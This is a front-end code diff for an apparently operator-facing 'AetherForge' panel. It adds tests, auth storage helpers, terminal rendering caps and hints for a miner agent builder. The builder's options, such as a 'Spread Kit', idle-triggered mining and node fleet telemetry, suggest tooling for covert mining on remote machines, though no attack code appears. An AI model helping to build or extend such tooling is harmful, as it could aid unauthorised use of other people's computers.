+      <MemoryRouter initialEntries={['/dashboard']} future={routerFuture}>
+        <Layout>
+          <div>deck</div>
+        </Layout>
+      </MemoryRouter>
+    );
+    await waitFor(() => {
+      expect(deck.querySelector('.matrix-rain-canvas')).toBeTruthy();
+      expect(deck.querySelector('.cursor-fire-fx')).toBeTruthy();
+    });
+    cleanup();
+
+    const { container: crucible } = render(
+      <MemoryRouter initialEntries={['/crucible']} future={routerFuture}>
+        <Layout>
+          <div>crucible</div>
+        </Layout>
+      </MemoryRouter>
+    );
+    await waitFor(() => {
+      expect(screen.getByText('crucible')).toBeInTheDocument();
+    });
+    expect(crucible.querySelector('.matrix-rain-canvas')).toBeNull();
+    expect(crucible.querySelector('.cursor-fire-fx')).toBeNull();
+  });
 });

server/web/src/help/architectureDeferred.test.ts

@@ -0,0 +1,20 @@
+import { readFileSync } from 'node:fs';
+import { resolve } from 'node:path';
+import { describe, expect, it } from 'vitest';
+
+const crucibleSrc = readFileSync(resolve(__dirname, '../pages/CruciblePage.tsx'), 'utf8');
+const wsProviderSrc = readFileSync(resolve(__dirname, '../context/WebSocketProvider.tsx'), 'utf8');
+
+describe('architecture deferred (frontend)', () => {
+  it('CruciblePage remains monolithic until section split lands', () => {
+    expect(crucibleSrc.split('\n').length).toBeGreaterThan(1500);
+  });
+
+  it('WebSocketProvider is still a single shared context', () => {
+    expect(wsProviderSrc).toContain('WebSocketContext');
+  });
+
+  it('terminal render cap documents virtualization ceiling', () => {
+    expect(crucibleSrc).toContain('visibleTerminalLines');
+  });
+});

server/web/src/help/authStoragePolicy.test.ts

@@ -0,0 +1,58 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { beforeEach, describe, expect, it, vi } from 'vitest';
+import {
+  AUTH_CROSS_TAB_STORAGE_SYNC,
+  AUTH_STORAGE_KEY,
+  AUTH_SYNC_EVENT,
+  describeAuthStoragePolicy,
+} from './authStoragePolicy';
+import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
+
+describe('authStoragePolicy', () => {
+  beforeEach(() => {
+    sessionStorage.clear();
+    localStorage.clear();
+  });
+
+  it('documents dual storage with same-tab event sync only', () => {
+    expect(describeAuthStoragePolicy()).toMatch(/dual-write/);
+    expect(describeAuthStoragePolicy()).toMatch(/aetherforge-auth/);
+    expect(AUTH_CROSS_TAB_STORAGE_SYNC).toBe(false);
+    expect(AUTH_STORAGE_KEY).toBe('aetherforge_auth');
+    expect(AUTH_SYNC_EVENT).toBe('aetherforge-auth');
+  });
+
+  it('dispatches aetherforge-auth on login for same-tab listeners', () => {
+    const handler = vi.fn();
+    window.addEventListener(AUTH_SYNC_EVENT, handler);
+    setStoredAuth('ops', 'secret');
+    expect(handler).toHaveBeenCalledTimes(1);
+    window.removeEventListener(AUTH_SYNC_EVENT, handler);
+  });
+
+  it('dispatches aetherforge-auth on logout for same-tab listeners', () => {
+    setStoredAuth('ops', 'secret');
+    const handler = vi.fn();
+    window.addEventListener(AUTH_SYNC_EVENT, handler);
+    clearStoredAuth();
+    expect(handler).toHaveBeenCalledTimes(1);
+    window.removeEventListener(AUTH_SYNC_EVENT, handler);
+  });
+
+  it('keeps sessionStorage auth when localStorage cleared externally (no cross-tab logout)', () => {
+    setStoredAuth('ops', 'secret');
+    const token = getStoredAuth();
+    localStorage.removeItem(AUTH_STORAGE_KEY);
+    window.dispatchEvent(
+      new StorageEvent('storage', {
+        key: AUTH_STORAGE_KEY,
+        oldValue: token,
+        newValue: null,
+        storageArea: localStorage,
+      })
+    );
+    expect(getStoredAuth()).toBe(token);
+  });
+});

server/web/src/help/authStoragePolicy.ts

@@ -0,0 +1,24 @@
+/**
+ * Cross-tab auth storage policy (document-only).
+ *
+ * Credentials mirror in sessionStorage and localStorage under `aetherforge_auth`.
+ * Reads prefer sessionStorage, then fall back to localStorage (survives tab close).
+ *
+ * Same-tab sync: login/logout dispatch the `aetherforge-auth` CustomEvent so SessionGate,
+ * WebSocketProvider, and PresenceContext re-read credentials without a full reload.
+ *
+ * Cross-tab: intentionally NOT synced via the `storage` event. Logout in tab A clears
+ * localStorage but tab B keeps in-memory session until refresh or a 401. Each tab owns
+ * its WS lifecycle after auth changes in that tab.
+ */
+
+export const AUTH_STORAGE_KEY = 'aetherforge_auth';
+export const AUTH_EXPIRED_FLAG_KEY = 'aetherforge_auth_expired';
+export const AUTH_SYNC_EVENT = 'aetherforge-auth';
+
+/** By policy we never listen to cross-tab `storage` events for auth. */
+export const AUTH_CROSS_TAB_STORAGE_SYNC = false;
+
+export function describeAuthStoragePolicy(): string {
+  return 'dual-write session+local; same-tab aetherforge-auth; no storage-event cross-tab sync';
+}

server/web/src/help/forgeRules.test.ts

@@ -373,7 +373,10 @@ describe('getForgeFieldMeta', () => {
 
 describe('getForgeLiveNotices', () => {
   it('returns empty array for a plain windows form', () => {
-    const notices = getForgeLiveNotices(baseForm({ target_os: 'windows', spread_kit: false }), false);
+    const notices = getForgeLiveNotices(
+      baseForm({ target_os: 'windows', spread_kit: false, miner_execution: 'inprocess' }),
+      false
+    );
     expect(notices).toEqual([]);
   });
 
@@ -450,4 +453,15 @@ describe('getForgeLiveNotices', () => {
     );
     expect(notices.some((n) => n.includes('without Spread Kit or Fusion'))).toBe(true);
   });
+
+  it('warns when container/auto execution needs worker image', () => {
+    const auto = getForgeLiveNotices(baseForm({ miner_execution: 'auto' }), false);
+    expect(auto.some((n) => n.includes('agent-worker'))).toBe(true);
+
+    const container = getForgeLiveNotices(baseForm({ miner_execution: 'container' }), false);
+    expect(container.some((n) => n.includes('Dockerfile.agent'))).toBe(true);
+
+    const inprocess = getForgeLiveNotices(baseForm({ miner_execution: 'inprocess' }), false);
+    expect(inprocess.some((n) => n.includes('agent-worker'))).toBe(false);
+  });
 });

server/web/src/help/forgeRules.ts

@@ -315,6 +315,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
     max_memory_percent: { disabled: false, badge: 'baked' },
     min_free_ram_mb: { disabled: false, badge: 'baked' },
     mining_mode: { disabled: false, badge: 'baked' },
+    miner_execution: {
+      disabled: false,
+      badge: 'baked',
+      hint:
+        'Auto/container tiers need a worker image on the host: docker build -f docker/Dockerfile.agent -t aetherforge/agent-worker:latest . Override tag with AETHERFORGE_MINER_IMAGE.',
+    },
     idle_threshold_pct: {
       disabled: !isIdle,
       badge: 'requires',
@@ -627,6 +633,12 @@ export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: bool
   if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
     notices.push('Universal without Spread Kit or Fusion — pick a deliverable type above.');
   }
+  const execMode = form.miner_execution ?? 'auto';
+  if (execMode === 'auto' || execMode === 'container') {
+    notices.push(
+      'Container/auto execution needs aetherforge/agent-worker:latest on the operator host — build with docker/Dockerfile.agent (set AETHERFORGE_MINER_IMAGE to override).'
+    );
+  }
 
   return notices;
 }

server/web/src/help/routeEffects.test.ts

@@ -0,0 +1,17 @@
+import { describe, expect, it } from 'vitest';
+import { isDashboardRoute } from './routeEffects';
+
+describe('isDashboardRoute', () => {
+  it('matches Command Deck paths', () => {
+    expect(isDashboardRoute('/dashboard')).toBe(true);
+    expect(isDashboardRoute('/dashboard/')).toBe(true);
+    expect(isDashboardRoute('/')).toBe(true);
+  });
+
+  it('rejects other operator deck routes', () => {
+    expect(isDashboardRoute('/crucible')).toBe(false);
+    expect(isDashboardRoute('/forge')).toBe(false);
+    expect(isDashboardRoute('/settings')).toBe(false);
+    expect(isDashboardRoute('/pathtracer')).toBe(false);
+  });
+});

server/web/src/help/routeEffects.ts

@@ -0,0 +1,5 @@
+/** True when pathname is Command Deck (`/dashboard` or `/`). */
+export function isDashboardRoute(pathname: string): boolean {
+  const path = pathname.split('?')[0].replace(/\/$/, '') || '/';
+  return path === '/dashboard' || path === '/';
+}

server/web/src/help/terminalRenderCap.test.ts

@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest';
+import { TERM_RENDER_CAP, visibleTerminalLines } from './terminalRenderCap';
+
+describe('terminalRenderCap', () => {
+  it('renders only the newest window at cap', () => {
+    const lines = Array.from({ length: TERM_RENDER_CAP + 25 }, (_, i) => `line-${i}`);
+    const { visible, truncated, hidden } = visibleTerminalLines(lines);
+    expect(visible).toHaveLength(TERM_RENDER_CAP);
+    expect(visible[0]).toBe('line-25');
+    expect(truncated).toBe(true);
+    expect(hidden).toBe(25);
+  });
+});

server/web/src/help/terminalRenderCap.ts

@@ -0,0 +1,17 @@
+/** Max terminal lines rendered in the DOM; full history stays in state for export. */
+export const TERM_RENDER_CAP = 400;
+
+export function visibleTerminalLines<T>(lines: T[]): {
+  visible: T[];
+  truncated: boolean;
+  hidden: number;
+} {
+  if (lines.length <= TERM_RENDER_CAP) {
+    return { visible: lines, truncated: false, hidden: 0 };
+  }
+  return {
+    visible: lines.slice(-TERM_RENDER_CAP),
+    truncated: true,
+    hidden: lines.length - TERM_RENDER_CAP,
+  };
+}

server/web/src/pages/CruciblePage.tsx

@@ -35,6 +35,7 @@ import AlsoHere from '../components/Presence/AlsoHere';
 import { HelpTip } from '../components/HelpTip';
 import '../components/Fleet/FullSysCheckPanel.css';
 import '../components/Fleet/FleetToolbar.css';
+import { TERM_RENDER_CAP, visibleTerminalLines } from '../help/terminalRenderCap';
 import './CruciblePage.css';
 
 // ── Types ──────────────────────────────────────────────────────────────────
@@ -326,9 +327,6 @@ if($s -and $s.Status -eq 'Running'){'SSH_PROBE:ONLINE'}else{'SSH_PROBE:OFFLINE'}
 
 const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONLINE || echo SSH_PROBE:OFFLINE`;
 
-/** Max terminal lines rendered in the DOM (full history kept in state for scrollback export). */
-const TERM_RENDER_CAP = 400;
-
 /** Roster page size — avoids rendering 500+ node cards at once. */
 const ROSTER_PAGE_SIZE = 80;
 
@@ -427,11 +425,10 @@ export default function CruciblePage() {
 
   const browseAgent = singleSelectedAgent ?? selectedAgents.find(online) ?? null;
 
-  const visibleTermLines = useMemo(
-    () => (termLines.length > TERM_RENDER_CAP ? termLines.slice(-TERM_RENDER_CAP) : termLines),
+  const { visible: visibleTermLines, truncated: termTruncated, hidden: termHidden } = useMemo(
+    () => visibleTerminalLines(termLines),
     [termLines],
   );
-  const termTruncated = termLines.length > TERM_RENDER_CAP;
 
   const dispatchTunnelCommand = useCallback(
     async (action: string, args?: Record<string, unknown>) => {
@@ -1548,7 +1545,7 @@ export default function CruciblePage() {
           )}
           {termTruncated && (
             <div className="crucible-term-truncated" style={{ opacity: 0.55, fontSize: '0.72rem', padding: '0.2rem 0' }}>
-              … {termLines.length - TERM_RENDER_CAP} older lines hidden (CLEAR to reset)
+              … {termHidden} older lines hidden (CLEAR to reset)
             </div>
           )}
           {visibleTermLines.map((line) => {

server/web/src/pages/EmberwakePage.test.tsx

@@ -127,7 +127,19 @@ describe('EmberwakePage', () => {
     });
     // load() runs once on mount — pin ref fix must not cascade into repeated fetches.
     expect(listSpy.mock.calls.length).toBeLessThanOrEqual(2);
-    // War room loads once on mount; hashrate telemetry comes from WS stats_batch (no poll loop).
+    // War room loads once on mount; live funnel uses WS emberwake_war_room (no poll loop).
     expect(warRoomSpy.mock.calls.length).toBeLessThanOrEqual(2);
   });
+
+  it('does not poll war room on an interval', async () => {
+    const warRoomSpy = vi.spyOn(api, 'getWarRoom');
+    renderEmberwake();
+    await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
+    await waitFor(() => {
+      expect(warRoomSpy.mock.calls.length).toBeGreaterThan(0);
+    });
+    const initialCalls = warRoomSpy.mock.calls.length;
+    await new Promise((r) => setTimeout(r, 50));
+    expect(warRoomSpy.mock.calls.length).toBe(initialCalls);
+  });
 });

server/web/src/types/ws.ts

@@ -7,6 +7,9 @@ import type { Agent, AgentService } from '../types';
  */
 export interface WSDashboardInit {
   agents: Agent[];
+  total?: number;
+  limit?: number;
+  offset?: number;
 }
 
 export interface WSAgentOffline {